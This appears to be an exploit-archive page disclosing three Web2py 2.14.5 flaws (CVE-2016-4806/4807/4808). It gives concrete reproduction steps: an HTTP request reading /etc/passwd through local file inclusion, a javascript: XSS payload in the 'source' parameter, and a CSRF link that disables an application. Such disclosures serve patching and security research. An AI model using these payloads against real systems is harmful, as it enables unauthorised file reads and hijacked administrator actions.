Menu

Search for hundreds of thousands of exploits

"Web2py 2.14.5 - Multiple Vulnerabilities"

Author

Exploit author

"Narendra Bhati"

Platform

Exploit platform

python

Release date

Exploit published date

2016-05-16

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
Title - Web2py 2.14.5 Multiple Vulnerabilities LFI,XSS,CSRF

# Exploit Title : Web2py 2.14.5 Multiple Vulnerabilities LFI, XSS,CSRF
# Reported Date : 2-April-2016
# Fixed Date : 4-April-2016
# Exploit Author : Narendra Bhati - https://www.exploit-db.com/author/?a=7638
# CVE ID : LFI - CVE-2016-4806 , Reflected XSS - CVE-2016-4807 , CSRF - CVE-2016-4808
# Tested On : MAC OS X EI Capitan, Windows 7 64 Bit, Most Linux Platforms.
# Fix/Patching : Update To Web2py. 2.14.6
# Facebook : https://facebook.com/iambhati
# Twitter : http://twitter.com/NarendraBhatiB
# Detailed POC: http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/
==============================================


LFI(Local File Inclusion): CVE-2016-4806

POST URI - /admin/default/pack_custom/[applicationmame]

Vulnerable Parameter = file

Exploit - file=/etc/passwd

Authentication Required = Yes(Administrator)

Steps To Reproduction

1) HTTP Request 

POST /admin/default/pack_custom/[applicationname] HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8000/admin/default/pack_custom/dasdasdasdad
Cookie: session_id_welcome=asdadasdasdasdasd; session_id_admin=asdasdasdasdasd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3213

file=/etc/passwd

2) After sending this request, Application will prompt you with a file to download as an extension of "w2p".

3) Now we have to unpack this downloaded file using. https://github.com/pigeonflight/web2py-unpacker

I.e. 
Command for unpacking w2p file
python web2py-unpacker.py downloadfile.w2p

4) This command will create a folder called "unpack", In this folder there will be an another folder of the application of web2py. In this folder you will found the etc folder, Then into this folder you will get the passwd file.


Video POC - https://www.youtube.com/watch?v=paCvmHgomP4

Full Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/

========================================================================

Reflected XSS(Cross Site Scripting) : CVE-2016-4807

GET URI  - http://127.0.0.1:8000/admin/default/install_plugin/dasdasdasdad?plugin=math2py&source=anyurl

Vulnerable Parameter - source

Exploit - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1)

Authentication Required - Yes(Administrator)

Steps To Reproduction

1) Go to this URL - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1)

2) The parameter "source" value will get reflected on the page on "Here" button.

3) When you will click on that button "Here" XSS payload will get executed.

Video POC - https://www.youtube.com/watch?v=4j9hXJtVNbk

Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/

============================================================================


CSRF(Cross Site Request Forgery): CVE-2016-4808

GET URI - http://127.0.0.1:8000/admin/default/enable/[applicationname]

Exploit - http://127.0.0.1:8000/admin/default/enable/[applicationname]

Authenticated Required - Yes(Administrator)


Steps To Reproduction

1) Suppose we have an application in web2py called "testingapp"

2) An attacker can trick an victim to disable the installed application just By sending this URL to victim - http://127.0.0.1:8000/admin/default/enable/testingapp

Video POC - https://www.youtube.com/watch?v=d4V8qlNrYtk

Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-10-23 "Ajenti 2.1.36 - Remote Code Execution (Authenticated)" webapps python "Ahmet Ümit BAYRAM"
2020-10-16 "aaPanel 6.6.6 - Privilege Escalation & Remote Code Execution (Authenticated)" webapps python "Ünsal Furkan Harani"
2020-08-04 "Pi-hole 4.3.2 - Remote Code Execution (Authenticated)" webapps python "Luis Vacacas"
2019-12-24 "Django < 3.0 < 2.2 < 1.11 - Account Hijack" webapps python "Ryuji Tsutsui"
2019-10-14 "Ajenti 2.1.31 - Remote Code Execution" webapps python "Jeremy Brown"
2019-09-30 "thesystem 1.0 - Cross-Site Scripting" webapps python "Anıl Baran Yelken"
2019-09-30 "TheSystem 1.0 - Command Injection" webapps python "Sadik Cetin"
2019-04-03 "PhreeBooks ERP 5.2.3 - Remote Command Execution" remote python "Metin Yunus Kandemir"
2019-02-15 "Jinja2 2.10 - 'from_string' Server Side Template Injection" webapps python JameelNabbo
2019-01-07 "Mailcleaner - Authenticated Remote Code Execution (Metasploit)" remote python "Mehmet Ince"
Release Date Title Type Platform Author
2016-05-16 "Web2py 2.14.5 - Multiple Vulnerabilities" webapps python "Narendra Bhati"
2015-08-28 "Wolf CMS - Arbitrary File Upload / Execution" webapps php "Narendra Bhati"
2015-01-24 "NPDS CMS REvolution-13 - SQL Injection" webapps php "Narendra Bhati"
2014-11-05 "MODx CMS 2.2.14 - Cross-Site Request Forgery Bypass / Reflected Cross-Site Scripting / Persistent Cross-Site Scripting" webapps php "Narendra Bhati" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected